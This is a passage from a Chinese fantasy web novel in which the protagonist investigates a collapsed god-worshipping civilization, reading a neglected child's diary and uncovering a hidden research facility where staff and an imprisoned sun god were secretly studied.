颜辞云不知道这是真的还是装的，但至少，在太阳神宫按兵不动的这段时日，她收回了大部分对天空的关注，把更多的时间花在观察文明和翻阅这个文明留下的史籍资料上。 现在的颜辞云的状态，用一句话来概括就是，看起来像活人、能与世界进行基础互动，但每个见过颜辞云的人，都会在颜辞云离开视线的瞬间将她遗忘。 简而言之，就是非常适合干点偷鸡摸狗的事的状态。 很符合颜辞云当下要做的事。 因此，经过短短不到一周时间，颜辞云就从对世界和人群的观察、记录，以及对书籍的翻阅、思考中，飞快理清了当前文明的状态。 如今颜辞云看到的这个文明所侍奉的最高神，正是创造了世界的至高神胡拉坎，然而真正创造了这个文明的人类的，却是太阳神托肖，所以他们自称自己是托肖人。 传说中，创世神胡拉坎曾经创造过五个文明，分别是不能见阳光的调停者赛亚姆；不敬神明的罪人卓洛布；愚钝到令神都要发狂的木人米卡彻；如猴子一样野性难驯的兽人柯诺斯；还有初代人类，赫门诺斯。 然而，这五个文明最后都毁灭了，甚至，创世神胡拉坎在第五次毁灭文明、清洗大地时，还一个用力过猛，令天地都为之失衡。 于是，无奈之下，创世神胡拉坎创造了四名天空巨人，以让大地文明永世供奉为代价，令他们心甘情愿撑起东南西北四角的天空。 这四名天空巨人，也就是颜辞云在来到这个世界后所看到的伫立在东南西北四角的四个巨大人形黑影。 创造了天空巨人之后，创世神胡拉坎又点化出了更多的自然神灵，让这些神灵协助自己创造生命。 如，大地之神古柯曼提斯，水神图佩乌，太阳神托肖，管理众神族的王尤姆卡克斯，等。 这些神的名字其实不重要，重要的是这些神都协助创世神在大地上创造过生命与文明，并以自己的神名为其命名。 但很显然，大部分的神在创造生命后，都很快对自己的造物生出这样那样的不满，比如说不够美丽、不够聪慧、不够虔诚、不够强壮、不够出色，等等。 于是，祂们果断放弃了这些不够完美的造物，主持了大地的清洗活动后，谦虚地退到众神之后，把大地棋盘留给了其它神灵发挥灵感。 就这样，经过多次的失败、重来、再失败、再重来后，从第十六纪元开始，大地上的生命其实已经趋于完善了。 他们有智慧，会思考，懂团结，会劳作。他们是毫无疑问的智慧生命。 尽管在神看来，他们依然不够“完美”，可是，就连神都不是“完美”的，神的造物又如何会“完美”？ 因此，直到第二十一纪，也就是太阳神托肖创造了祂的造物托肖人后，文明才终于在此得到了一个稳定的、持续了数千年的发展。 托肖人经过长时间的发展，在无尽的对神灵、造物、历史、文明的探索下，搜罗了所有纪元文明留下的资料，并经过搜肠刮肚穷思竭虑到近乎发疯一样的思考后，得出结论： 托肖人的文明之所以不像过去大地上二十个纪元的生命那样被神灵迅速放弃、迅速毁灭，而得以长久留存，并不是因为托肖人比其它纪元的生命都更接近神灵想要的“完美”，而是因为托肖人更具有“价值”。 想一想吧，这么多个文明和这么多种造物里，第一纪元的调停者赛亚姆无疑是最接近“完美”的生命，甚至几乎能够称之为神！ 可他们依然遭到了神明毫不留情的厌弃。 第八纪元时，由众神之王尤姆卡克斯创造的黄金人类又是何等强大？ 但尤姆卡克斯依然是说毁灭就毁灭了他们。 甚至是第十纪元由水神图佩乌创造的海族，他们美丽、忠诚、善良，多么可爱的生物啊！ 但只是一个夜晚，图佩乌就收回了所有的眷顾。 诸如此类。 神灵的喜爱，是飘渺、捉摸不定、难以揣度的。 所以，想要依靠虚无缥缈的“爱”，靠“善”、“美”、“真”等美好特性，就想在喜怒不定的神灵手下成功苟活，是不可能的。 唯有“价值”才可以。 所以，一定是因为他们托肖人的科技日新月异、子民身体健壮、繁衍有条不紊，并在文明的发展中不断推动世界的进程，让神灵看到了托肖人身上展现的价值，托肖人才得以存活的！ 一定是因为他们文明中的每一个人，都对文明的发展起到了或多或少的推动作用，并且没有一个是不合群、不合适、不劳作、不贡献的无价值之人，托肖人才脱颖而出，文明得以长久延续的！ 所以，向云端之上的神灵展露自己的“价值”，向神灵证明自己比任何人都有资格活在这片大地上，有资格得到延续和留存——这就是托肖人以及托肖文明的核心理念与一生追求。 看到这里，颜辞云叹息一声，总算是明白了这个文明扭曲癫狂的底色从何而来。 但更令颜辞云感到悲哀的是，托肖人和托肖文明，其实在根本上就走错了路！ 得出这样的结论，不是因为颜辞云对社会学有多么深刻的研究和认知，有底气对一个文明进行深刻批判，而是因为颜辞云已经发现了，这个世界对“神”的反应是非常微弱的。 也就是说，托肖人的文明之所以没有毁灭，不是因为他们社会学家、历史学家、神学家长久以来思考得出的任何一个答案，而仅仅是因为……那些神不在家。 是的，在探寻托肖文明的历史的时候，颜辞云就已经将这个世界快速探索了一遍，确定这个世界并没有真正可以被称作“神”的存在，而只有一些神灵留下的“防盗机制”。 就像颜辞云在石原上留下的“禁止大型生物出入”的龙威一样，是自动运行的。 想来这些神是集体出了一趟时间很长的远门，也不知道是去干什么了。 总而言之，在颜辞云的推测下，这些神在创造了托肖人后，就因某个意外集体离开了这个世界，来不及对大地上的生命进行更进一步的干预或毁灭。 所以，被托肖人崇敬而恐惧的神灵们，并不像托肖人想的那样，自始至终都端坐云上，一边高悬灭世的审判之矛，注视他们的自证与表演，一边赞叹他们歇斯底里的癫狂，施舍地放宽了他们的文明的延续期限。 所以，托肖人也不是真的因为他们“有价值”、不是因为“证明了自己值得存在”才得以活着的……他们是因为神灵不在家而活着的。 换而言之，他们的自证也好，思考也好，探索也好，全都是无用功，唯一的作用只将他们导入了一条无法回头的癫狂歧途！ 这样的结果与真相，对生生世世人人困死在“价值”一词上托肖文明来说，已经不是区区“可悲”两个字就能形容的了。 甚至在这样难以言说的可悲中，又有更多的可悲之分，比如说： 到底是一生都沉浸在这样的“价值”中，为了这个从根本上就是虚假的目标打破了脑袋，至死都无法挣脱的一生更为可悲？ 还是为了这个目标奋斗到死亡的前一刻幡然悔悟，但却再也来不及改变更为可悲？ 又或是看到了一切的可悲真相后，却只能低头顺从，被集体裹挟、随波逐流更为可悲？ 颜辞云得不到答案，只能更加频繁地将目光投向人间，也投向天空。 而就是在这样一日日的观察中，颜辞云对那个名为南陆的太阳执行人的了解，也一步步加深。 颜辞云发现，南陆此人，并不是小说中常见的孤儿开局、一看就是能豁出命干大事的人，相反的，他出生于一个还算温馨的家庭。 他的家庭十分和睦，父母因志同道合、有着共同的野心和目标而称得上恩爱；他还有兄弟姐妹，排行虽然卡在中间，似乎是注定的家庭透明人，但却因他与生俱来的天赋，他从没有被忽视被苛责过，就连他“不合时宜”的爱好，也因他一直表现良好而没有被父母强行掐灭。 并且，他的家庭条件也不错，还有来自政府的诸多补贴，是非常典型的“中产阶级”，从没有感受过底层人真正的贫苦；而他在学校里的生活环境虽然会下意识排斥他这样的异类，可碍于天赋，他到底没有真正体验过被霸凌、排挤、唾弃的苦难。 一句话来形容：在这个人身上能看到一切资产阶级的软弱性和妥协性。 在颜辞云看来，只要这个人还有退路，只要他没有到一无所有、无路可走、退无可退的地步，他就一定会向这个世界的规则妥协，拿起屠刀，成为压迫者和“价值”拥护者的一部分。 所以，在了解南陆的身世与背景之后，颜辞云对自己之前的猜测不由得动摇起来：自己降临世界时所看到的高温末日的景象，真的是由这个男人造成的吗？ 他真的如同她猜想的那样，在理想主义者最后的崩溃与癫狂中拿起屠刀，彻底毁灭了这个世界吗？ 不太像啊。 还是说之后发生了什么意外，摧毁了牵绊他的家庭？ 也不应该。 托肖人的文明只是癫，不是傻，不会不知道一个坚定拥护托肖文明价值观的家庭，对南陆这样的大杀器有多么强大的牵绊与意义，不可能自毁长城，对南陆的家庭出手。 所以……到底发生了什么？ 是她想错了吗，这场世界末日的关键，其实并不在南陆身上? 还是她遗漏了什么细节吗？ 在这样的思考中，和平一天一天地维系了下去。 整整一年的时间—— 颜辞云在这个不知道是真是假、是过去是未来的世界里，待了整整一年的时间，都没有见到什么世界线的变动！ 颜辞云觉得自己实在是忍无可忍，等无可等了。 这一年里，她从谨慎避开人群、探索世界、阅览书籍，到开着重型摩托满世界闲逛，闲得看路边的野狗吵架都要上去把它们踹开，甚至还搞了一张出入太阳神宫的身份卡，一没事干了就坐在太阳神像的脑袋上睡大觉。 颜辞云觉得自己一辈子都没这一年活得这么大摇大摆过。 但这都是被迟迟没法开启的主线给逼的！ 就是说——主线任务到底什么时候开啊？ 她闲得快发霉了，甚至闲得都切换了本体，在青丘上收种了两回地了！ 颜辞云忍无可忍中，从大图书馆的世界缺口中离开了一回，想看看能不能像上次离开那样，触发一次眨眼十年的时间大法。 好消息：她成功了，时间真的一眨眼就过去了十年！ 坏消息：她skip过头了，主线任务已经开始，那位太阳执行人南陆，已经向归来的众神宣战两年了。 颜辞云：“啊？” 第85章 真相追寻 不要抬头 此刻，出现在颜辞云面前的世界也好城市也好，都已经不复最初的勃勃生机，反而入眼可见一大片一大片的焦土与废墟。 颜辞云清楚看到，那个象征着托肖文明的标识——那座好似连通天地的巨型图书馆，像是被一道巨大的刀锋从中切开，一分为二！ 曾经繁荣的城市为之一空。 大地上的每个人都在逃亡，如无头苍蝇一样，抛弃了他们曾引以为豪的城市与文明，在荒蛮大地上漫无目的、却又无法停止地逃亡。 为什么？ ——因为天上！ 此刻的天上，竟然高悬着十二个太阳！ 但奇怪的是大地竟并未因此陷入酷热。 颜辞云抬头，凝神望去，只见这十二个“太阳”里，除了一颗原始太阳和一个颜辞云熟悉的日之车外，其它的十个“太阳”，竟全都是神灵化身！ ——那些出远门的神灵们，这是一窝蜂回来了？ 这一刻，颜辞云头顶的“太阳”们，全都处于一种奇怪的僵持状态，一时间看不出什么端倪； 而颜辞云脚下的城市，则一片狼藉，瞧不见半个活人，唯有在极目远眺时，能看到远处大地上有人群散落，就像是一群巢穴被铝水灌入后侥幸逃出的蚂蚁。 颜辞云思考了一会儿，没有贸然飞到“太阳”上查看，而是捡起了地上散落的陈旧报纸、废弃资料。 她的动作不疾不徐，并且一丝不苟，细心地将城市里每一张可能记录了资料的纸张都捡起来瞧了瞧。 她捡到了被暴力破开的旧仓库里，那一份份没有卖完的旧报纸。 在报纸上，有人用感染人心的言辞记录着神学研究院的大发现：神圣的降临与神迹的显现！ 这里的神圣，并非是太阳执行人南陆那样被人类社会赋予的神圣，这一份神迹，也绝非由人类操控显现的威能。 它们是来自于真正的神—— 那端坐云上的神，终于看到了托肖人和托肖文明真正的价值，终于肯从云端上走下，垂怜他们、赋予他们神圣了！ 当第一声神灵的低语被托肖文明的神学研究院捕捉，当第一个与神灵有关的梦境显现，并令一位老迈的神学研究专家返老还童后，他激动得几乎是涕泪横流，迫不及待地就将真神降临的这个消息公布了出去。 每个人都为此感到欣喜若狂。 每个人都坚信，这一切都是托肖文明的价值被神灵肯定的证明；每个人都认为，从此以后，托肖文明一定能在神灵的指点和帮助下，登上一个新的高峰！ 甚至，托肖人还将这一天记录下来，写进了历史中，将它命名为神降日，并且就连自身文明使用已久的纪年法都大笔一挥，改成了神历一年。 谄媚讨好之态几乎跃然眼前。 之后，颜辞云又在废纸回收站里翻到了一本日记。 日记本的主人是一个年纪不大的孩子。 她是政府基因优化政策下的产物。然而基因这种东西向来难说，所以哪怕她的父母分明是强强联合，最后却也只生出了她这样一个没有半点天赋、甚至还携带基因病的孩子。 她的父母害怕重蹈覆辙、再生出一个和她一样有基因病的孩子，便毅然决然地离婚了，而她这个拖油瓶，则被当皮球踢了一阵后，最后因拉不下脸送去福利院，只能扔到了姥姥姥爷家，由一个叫文白梅的家政人员负责照顾。 孩子的父母是大人物，姥姥姥爷同样是大人物，他们很少回家，也从来不主动看她。 空荡荡的家里，唯有孩子与文姨两个小人物日日相处、抱团取暖，因此在孩子心中，她与文姨两人不是母女，胜似母女。 时间来到神历第二年。 孩子五岁了，而政府也在这一年推出了神力活性药剂。 传闻，这药剂是神历这两年里由真神降下的诸多神迹之一，可以治愈任何疾病，包括目前医疗水平无法治愈的基因病！ 唯一的问题是，这个神力活性药剂是对神灵赐福的神药的一种大批量复刻，目前还在试验阶段中，而仅有的几瓶通过了实验的完美药剂，又早早被人高价预定了。 不过，为了显示公平，政府还推出了一项补充政策，那就是主动参加神力活性药剂人体实验的人，可以在新的完美药剂出现时有优先购买权。 孩子将这一段话原样抄在了日记里，但她显然并不很明白这一段拐弯抹角的话到底是什么意思。 文姨显然是明白的。 于是某一天，文姨告诉她，自己要暂时离开一段时间，让孩子不用担心，因为等她再次回来的时候，孩子的基因病就会治愈，一切都会好起来的。 无论是那两个对自己孩子弃如敝履的父母，还是眼高于顶瞧不上孩子天赋的姥姥姥爷，他们都会将孩子捧在掌心、待她如同明珠的。 文姨向孩子描述的未来实在是太过美好了，但孩子却下意识地对这个未来生出了忧虑。 果然，孩子的担忧成真，文姨一去不回。 而取代文姨的新家政人员，是个讨厌孩子的粗暴男人。 明明他与孩子同为社会判定的“低价值”之人，但他却自视甚高，根本瞧不起孩子这种天生患有基因病的“残次品”，甚至在确定主家不在乎这个孩子后，暗地里虐待她。 他最常挂在嘴边的，是“你这样的残次品，凭什么投了这样好的胎”、“如果我有你这样的背景我早就翻身了”、“像你这种没有半点价值的废物竟然住这么大的房子，还有人好吃好喝地伺候，这个世界根本没有公平可言”，诸如此类。 于是，在文姨离开的第五个月，孩子的日记就在对文姨的思念中彻底停下了，而这本日记，更是被当作废品，丢到了废纸回收站里。 就像是一滴水落入大海。 这件事没有在那个充满神之辉光的年代溅起半点水花。 又后来，颜辞云穿过城市，来到了化作废墟的神学研究院。 从如今残留的痕迹可以看出，当年似乎有一场极大的混乱在此地爆发、向外不断辐射扩散。 这样的混乱，既包括建筑物被强大的力量暴力摧毁，也包括疯狂的人群举起屠刀自相残杀。 前者颜辞云尚且能够理解，可后者就令颜辞云想不太明白了。 于是，她在这座满是尸体和喷溅血渍的倾塌建筑走了一圈，在这里找到了一些研究院人员离开时来不及销毁的资料，和一些满是无意义图画和呓语的稿纸。 她将它们一一抚平，细细看过。 神学研究院中掉落的这些资料倒还好说，除了一些形而上学的哲学理念外，大多是对回归人间的众神的观察和记录。 根据神学研究院的观察，最初回到人间、在托肖人面前展现神迹、令老者重返青春的，是智神。 之后，很快的，火神、水神、怒神、死神、大力神、祭神、风神等等，所有曾在过往文明中显现过神迹的神灵，几乎都出现在了托肖人的面前，显露出了神迹。 只除了创世神胡拉坎，以及托肖人的造物主太阳神托肖。 对此，这些神的解释是，创世神已经不插手地表文明很多年了，而太阳神托肖，则是在得知托肖文明造出了一个太阳神宫和“太阳执行人”后暴怒不已，认为自己的造物冒犯了自己，想要降下灾难，清洗地表文明。 如果不是众神拉住了祂、约束了祂，恐怕灭世的灾难早已先神族一步降临人间了！ 托肖文明得知此事后，被莫大的恐惧笼罩。那一直在托肖文明身后的名为毁灭的阴影，似乎在这一刻终于追上了他们！ 他们诚惶诚恐，恳请众神示意要如何做才能消弭造物主的怒火。 众神说，要让天上再不可有第二颗太阳。 于是，当天晚上，数千年没有降落的太阳神宫落在地面，甚至被摧毁了核心动力。 而曾经象征着托肖文明最高荣耀和最高身份的“太阳执行人”，更是被关入牢狱，再不拥有站在阳光下的资格。 而这一切，才不过是众神降临后的一个月，也就是神历第一年所发生的事。 颜辞云看到这里，惊讶看了看天上。 难怪。 难怪如今的天上，升起的是日之车而不是太阳神宫。 那南陆呢？ 成为了阶下囚的南陆，如今怎么也在天上？发生了什么？ 颜辞云继续看了下去，却并未立即找到结果，只有大片大片对众神的描述和溢美之词。 除了最后一张、也是唯一的一段记录： 【他疯了，他真的疯了！】 【南陆竟然说神都是假的，他竟然向神宣战！】 【我们的文明要毁灭了！而这一次竟然不是因为神，而是因为人！】 【南陆是文明的永恒罪人！！】 颜辞云：“啊？” 颜辞云又抬头看了看天上，茫然不已。 搞什么啊？ 上一张还在说南陆被剥夺了所有力量，打入牢狱，成为永远不可见天日的罪人。 这一张又说南陆向众神宣战，把托肖文明卷入了可怕战火，是文明的罪人。 这、这怎么做到的啊？ 以一人之力向整个神族宣战，把整个文明拖入战火。 不是颜辞云要小看谁，而是从逻辑上来说，这件事真的很不合理！ 颜辞云还想继续看，但正式的资料到此为止。 没有更多的记录，没有更多的线索，也没有提示。 颜辞云只能放下这些资料，开始翻看自己拾取的一大沓草稿，目光快速扫过草稿上那些仅有的文字。 但让颜辞云莫名有些头皮发麻的是，这些文字不像是研究工作者留下的文字，反倒像是某种疯子的呓语，充斥着大量奇妙的比喻、破碎不连贯的描述，和难以理解的思考回路。 非常微妙，非常可怖。 像是看到一个与自己相熟多年的老邻居，突然在你面前扯下头皮，露出内里机械构造的恐怖感与伪人感。 颜辞云不敢多看，一张张快速翻过，唯恐自己也被这微妙的伪人感给感染了。 最后，当翻到某一张草稿时，颜辞云的目光在草稿上的某一段文字上定格。 【全世界的人都疯了，只有我还清醒地记得这一切……我们的文明完蛋了，因为众神早已经降下了神罚，只是我们谁都没有发现。】 【我们这一纪文明的结局早已注定！我们所有人都会毁灭于不可理解和恐惧！】 【如果还有人能活着看到我这一段话，如果你还是清醒的，记住，不要抬头！不要看向太阳！】 【那不是太阳！！】 第86章 隐秘研究 这么有想象力的吗…… ——不要抬头！ ——那不是太阳！ 蓦地在末日与死地中发现这样的一段话，对常人来说几乎称得上无与伦比的恐惧、难以言喻的毛骨悚然！ 可颜辞云只是微微一怔后，主动抬头又看了一眼天上的“太阳”。 倒也不是不相信托肖人的警告——虽然颜辞云也确实不是非常相信就是了，毕竟之前的稿纸上都是胡言乱语，谁又知道“正常人”和“疯子”之间到底谁才是真正疯了的那个？ 但，这不是主要原因。 真正让颜辞云没有太多心理负担看向太阳的理由，是颜辞云早已经看过无数次太阳了。 所以，“太阳”如果真有问题，那么这个问题早就已开始，也不是她少看一眼就能解决的。 既然少看一眼也解决不了问题，那何不多看一眼？ 说不准反而能看到真正的问题所在呢？ 颜辞云就是这样一个平日里谨慎行事，计划一条条写得清清楚楚，关键时刻却又格外大胆，将做好的计划揉成一团丢掉的性格。 这样的行事风格，曾经帮助颜辞云发现了海底的应龙龙尸，在穿越的第一时间便获得了能扭转命运的机会；之后又帮她成功栽下扶桑木，获得一大外挂，成功干翻年兽，让她从“小怪兽”向“大怪兽”迈出了一大步。 而如今，这样的大胆又帮助了她一次，让她第一次将目光在“太阳”上定格，第一次这样谨慎细致地观察“太阳”。 于是她终于看到了—— 天上那颗原始太阳的真正面目！ “原来……是这样吗？” 颜辞云沉吟片刻，也不急着去天上看诸神之战的进度，而是继续探索着这座废弃许久的神学研究院。 从神学研究院的遗址来看，这座大型建筑在地面上起码有五层，对宗教性质的建筑来说算是很高了。 但最后，一场不知来由的混乱在这里爆发，无数拥有超异能力的人在这里大打出手，以致于地面建筑毁于一旦，只留下大片的血迹、尸体以及废墟。 不过没关系，地面建筑毁了，还有地下建筑。 颜辞云几乎没怎么花时间，就找到了地下建筑的入口——一个隐蔽的电梯。 这么多年过去了，颜辞云惊讶发现，这电梯的面板竟依然亮着，每个按键也都有反应，也不知道它是用什么核能供的电。 总之，看起来可以用。 颜辞云按下按键，电梯从负13楼开始向上，一层一层，速度飞快。 可就在来到负6层时，电梯突然停住了，许久许久都没有动静，就好像是有什么人在负六层登上了电梯，并恶意地按住了电梯的开门键，让电梯不能上也不能下。 说实话，有点恐怖。 颜辞云扫视了一圈四周的无人废墟，想不出电梯被卡住的理由。 可与此同时，她也不愿就这样放弃对神学研究院地下建筑的探索。 于是，颜辞云干脆散去实体，化作虚影，穿过电梯门，顺着电梯井往下飘。 负一层，负二层，负三层……负六层！ 几乎眨眼间，颜辞云就看到了黑暗中停滞的电梯轿厢厢顶，听到了电梯运转时那因年久失修而发出的卡顿声和牙酸摩擦声。 叮——叮——叮—— 电梯门不断开开合合，也不知道是被什么东西给卡住了。 颜辞云沉吟一秒，没有立即去负六层一探“闹鬼”真相，而是闪身避开电梯轿厢，继续顺着电梯井向下。 负七层，负八层……负十三层！ 颜辞云穿过紧闭的电梯门，抬眼一看，意外瞧见了一条非常现代化、非常科技风的冰冷回型长廊。 跟地面上的建筑就不是一个风格的。 长廊还算干净，地上墙上既没有夸张泼洒的血迹，也没有明显的破坏痕迹，只有散落着一些凌乱脚印。 看来当初发生混乱的时候，这一层的工作人员们似乎有从这条长廊成功撤离。 而在这条长廊的两侧，有许多大门紧闭的房间。 颜辞云一一看过，发现都是一些很普通的办公室和员工休息室，并且办公室里放置的资料也没什么异常，就是普通的神学哲学研究而已。 ——这样普通的资料，有必要放置得这样深、这样隐蔽吗？ 事出反常必有妖！ 颜辞云看过了长廊上的每一个房间都没发现异常后，沉吟两秒，干脆打开小地图，仗着自己能直穿实物的特性，径直从西南角向东北角走去。 前面说过，负十三层是一条回字形走廊，所有的办公室和休息室都是附着这条走廊建的，没有任何多余岔道。 可当颜辞云不按传统的侦探思路小心探查，而是开启作弊模式直接穿墙后，这位外挂姐便瞬间锁了真相的头——原来在这条回字形走廊的内部，还有一个巨大的隐藏房间！ 颜辞云：哈！我就知道！ 也不知道正常情况下这个房间到底该怎么进入，但如今的颜辞云反正就是这么进来了。 她站在这个隐藏房间里，四下看了看，发现这是一个非常严密的观察室，一墙之外就是被重重保护起来的观察台。 观察台的情况还算正常，看起来就是单纯被废弃了而已，颜辞云敲了敲键盘，发现各个按键还是有反应的，只要颜辞云输入正确的密钥，它就可以立即投入使用。 可观察室的情况就很奇怪了。 也不知道这里到底放置过什么。 当颜辞云踏入观察室里时，她的第一反应就是恶心、晕眩、压抑、呼吸困难、双目刺痛。 多奇妙啊！ 明明颜辞云此刻使用的马甲，是纯粹的神力碎片的化身，体内并没有任何常人认知的“器官”存在，简而言之，非常拟人。 而与此同时，颜辞云还处于灵魂状态下，并且位于不被现实干扰的生死夹隙中。 可就是这样的颜辞云，竟然在踏入这间空荡荡的观察室时，产生了恶心晕眩、双目刺痛，甚至“呼吸”困难的反应？ 这不是奇妙又是什么？ 抱着这样的奇妙之情，颜辞云仔仔细细地把观察室打量了一圈，但除了“这里存在过什么”之外，颜辞云一无所获。 “难道……有某个‘东西’突然消失了吗？” “当初神学研究院的混乱，是否也是因为这个‘东西’的突然消失？” 没有更多线索的颜辞云，离开了观察室，重回观察台，并在观察台机器夹缝里找到了几张掉落的稿纸，和一本没来得及收走和销毁的观察记录。 稿纸上没有太多信息，除了几条意义不明的数据之外，就是难以辨明字迹的胡言乱语。 而仅有的能看清的几行字，也写着“我们都是罪人”、“这就是报应”、“失去敬畏的亵渎者终将付出代价”之类看不懂的话语。 跟颜辞云在地面建筑里找到的稿纸风格非常相似，让人难以分清写下这些文字的人到底是清醒的还是疯了。 而当颜辞云翻开观察记录本后，更微妙的事出现了。 从整个负十三层的布置，以及这一路上的发现来看，颜辞云很容易就能生出一个猜想，比如说： 这是一个隐蔽的观察楼层，被观察者就是观察室里曾经存在过的“东西”，而这里所有的工作人员都是为了观察这个“东西”服务的，他们隐藏着一个共同的秘密。 那么，基于这个猜想，这本观察记录里记下的，就应该是观察室里的“东西”的试验记录和状态变化才对。 可事实上，这本观察记录里的观察对象，竟然不是观察室里的“东西”，而是这一整个负十三层的员工！ 【X年X月X日，无变化。】 【X年X月X日，1308室与1301室的两名工作者在工作过程中突发晕厥，症状表现为体温升高、胡言乱语、无法控制的肢体摆动。在被送去休息室后，他们很快清醒，但开始变得疑神疑鬼，声称自己听到了奇怪的声音。】 【注：与编号C表现一致，暂定此二者编号为C140、C141，需跟进观察。】 【X年X月X日，1301室一名工作者自称流感，在办公室里小憩，醒来后有一段时间的表现为晕眩、短暂失明、难以控制自身肢体、对空气自言自语。】 【注：与编号D表现一致，暂定编号为D036，保守观察。】 【X年X月X日，无变化。】 【X年X月X日，1308室再次有工作者突发晕厥，醒后直接丧失理智，陷入癫狂，力气增大两倍以上，并试图杀死自己视线内的所有生物包括他自己，语言系统紊乱，只会说“末日”“毁灭”“重生”这三个词。】 【注1：定为编号A017，已成功控制。】 【注2：已将1308、1301室标记为高危，提高下一批送入此二室的观察者质量。】 【……】 颜辞云一路看下来，那叫一个目瞪口呆。 原来，不是“他们隐藏着一个共同的秘密”，而是“他们共同被隐瞒了一个重要的秘密”！ 原来，所谓的“观察者”根本就不是“负责观察某个东西的人”，而是“被研究和观察的人”！ 这样也可以？ 颜辞云快速翻过这个记录本，很快来到了最后一页。 而这一页只有一行字。 【祂逃跑了！太阳从囚神狱里逃走了！我们全都要完蛋了！！】 颜辞云：“……嗯？” 不对，等等。 你说谁从哪儿逃走了？太阳？囚神狱？ 颜辞云看了看“观察室”，又看了看记录本，又看了看“观察室”，震撼间终于明白这群人在干什么了。 好家伙！ 难怪众神回归时说祂们“约束”了太阳神。 难怪说地上建筑的神学学者说天上的“太阳”不是太阳。 难怪她在“观察室”里感觉那么不适。 原来你们竟然联合众神，把真正的太阳神、你们托肖人的造物主抓起来搞研究了？ 这么有研究精神的吗？！ 第87章 再造太阳 再造文明 整个负十三层已经探查完毕，颜辞云准备继续向上探索。 但离开前，颜辞云还是特意来到了被研究所标注为高危的1301室和1308室转了一圈，想要看看这两个办公室为什么是“高危”，以及它们与观察室之间的关系。 如今，颜辞云已经知道了这些在办公室里工作的“工作人员”才是真正的小白鼠、被观察者，可问题是，托肖人到底想要观察什么？ 这份观察和囚神狱里的“太阳”又有什么关系？ 颜辞云没有得到答案，但是当她拿出镰刀试探着挥下后，却意外采集到了两个非常神奇的东西。 【原始月亮碎片：一种材料，是胡拉坎第一次将原始月亮升上天空时遗落人间的碎片。】 【原始太阳碎片：一种材料，是太阳神陨落时与祂一同从天上跌落人间的碎片。】 前者，是颜辞云在1308室采集到的，后者，则是颜辞云在1301室采集到的。 并且非常“巧合”的是，这两个房间都是高危区，而有着原始月亮碎片的1308室的小白鼠们，在被观察过程中出现的反应也远远大于1301室。 为什么？ 颜辞云不明白，只能把这些碎片塞进物品栏，当作普通材料处理。 可令颜辞云意外的是，这两块碎片一被塞进物品栏，竟然就直接消失不见，而当颜辞云回头时，它们又会突兀出现在原来的地方。 “没办法带走？” 颜辞云不信邪，又试了一次。 可这一次的结果依然一样。 这个古古怪怪的材料，就是放不进系统的物品栏，就好像…… 就好像它们是假的一样！ 颜辞云看着这一幕，若有所思。 “所以……我面前的这一切，难道是类似历史投影一样的东西？” 在这个投影里，颜辞云虽然能够与投影内容物进行一定程度上的互动，可这样的互动就像是玩一场全息游戏。 哪怕这个全息游戏表现得再如何真实，它都不是真的，并且也绝无法将游戏里的东西带到现实。 而只有这样，才能解释颜辞云的金手指为什么带不走一个区区“碎片”！ 确定了自己身前世界的真假后，颜辞云总算松了口气。 还好还好，这些都是假的，或者说是“已经过去了的”，而她真正身处的时间线，应该还是那个大地化作火焰地狱、世界毁灭正待重启的那个时间点。 否则让颜辞云决定要不要去拯救一个文明的话，她还真难以决定、无从下手。 不同于赛博修仙那种从上到下的扭曲、从内到外的腐朽，当那颗支撑赛博修仙文明的世界树倾塌时，颜辞云是真的没有挽救之力的。 可换成这个众神同辉的世界，假如颜辞云真的来到了这个时间点，她其实是有力量阻止一个文明的毁灭的。 所以，在这个时刻，颜辞云就必须要思考一个问题：是帮助这个文明继续存续，还是坐视一个文明的毁灭？ 不帮忙的话，让颜辞云眼睁睁看着一个文明的毁灭，她多少有些于心不忍。 可帮忙的话，却又有悖于颜辞云“不施恩于任何人，也不亏欠于任何人”的想法。 还好还好，颜辞云不必陷于这样的两难境地。 因为一切动乱早已经结束。 在面对一个“全息投影”时，颜辞云不必再考虑拯救不拯救的事了。 “可既然如此——” 很快的，颜辞云转念又想到了另一个问题。 “既然我看到的都是假、不，是已经发生过的事，那系统任务里的‘拯救’、‘见证’、‘毁灭’这三个关键词又是怎么来的？” 她真正需要拯救、见证和毁灭的，究竟是什么？ 颜辞云觉得，自己很有必要继续探查下去。 接下来，颜辞云没有再试着把【原始月亮碎片】和【原始太阳碎片】塞进物品栏，但也没有把它们放回原处，而是塞进了自己死神外套袖子上的口袋里。 还好，这是能够做到的。 而之后，颜辞云又拖着自己的长镰刀，在负十三层里转了一圈，把所有办公室包括观察室和观察台，都统统采集了一遍，保证没有漏掉半点有用的东西！ 【原始火焰碎片：一种材料……】 【原始海洋碎片：一种材料……】 【原始天空碎片：……】 【原始大地碎片：……】 【原始风暴碎片：……】 【原始雷霆碎片：……】 【原始湖泽碎片：……】 【原始山脉碎片：……】 在负十三层的每一个办公室里，颜辞云都会采集到一个【原始XX碎片】的材料。 再加上最开始的原始太阳碎片与原始月亮碎片，颜辞云到手的碎片共十块。 非常神奇。 而更神奇的是，在囚神狱里，颜辞云还采集到了两个自己想都没想过的东西： 【胡拉坎的左眼：一种材料。作为创造了世界至高之神，被胡拉坎左眼注视的地方，将永远无法被破坏。】 【胡拉坎的右眼：一种材料。作为创造一切生命和神灵的起源，被胡拉坎右眼注视的神灵，将失去被胡拉坎赋予的所有神力。】 随着这两颗与其说是“眼球”，不如说是玉色宝珠的东西落入颜辞云掌中，囚神狱里原本让颜辞云感到头晕目眩和压抑的一切不适之感，都在瞬间消失。 与此同时，那一间浑然一体、给颜辞云感觉莫名高端的观察室，也失去了那神奇的“完美”感。 颜辞云木然看了看自己手上的两颗“眼球”，又看了看囚神狱，又看了看眼球，张了张嘴，发现自己除了“好家伙”之外，竟再也挤不出第二句话。 好家伙，好家伙……难道这就是传说中的癫人吸引力法则吗？！ “算了……” 颜辞云决定不对癫人的“家务事”发表意见。 把这十块碎片和两颗眼珠都收进死神外套的口袋里后，颜辞云继续向上。 在负十二和负十层这整整三层里，颜辞云入眼所见的都变成了一个奇怪“精神病医院”的部分，因为颜辞云在这两层里发现了无数拘束服和无数强制医疗房。 当推开写着“医疗室”的门后，颜辞云看到了手术台边无数刀锋狰狞的器械。 与其说这里是医疗室，不如说这里像屠宰场！ 离开这个空荡荡的、阴冷森寒的“病院”，颜辞云随手拿起路边的病例病案，一边翻看，一边继续向上。 到了负九层到负七层，古怪的阴森感一扫而空，取而代之的是一个满是瓶瓶罐罐、非常刻板印象的研究所。 比起下头那三层的“精神病院”来说，这两层实在是给了人极大的安全感和稳定感。 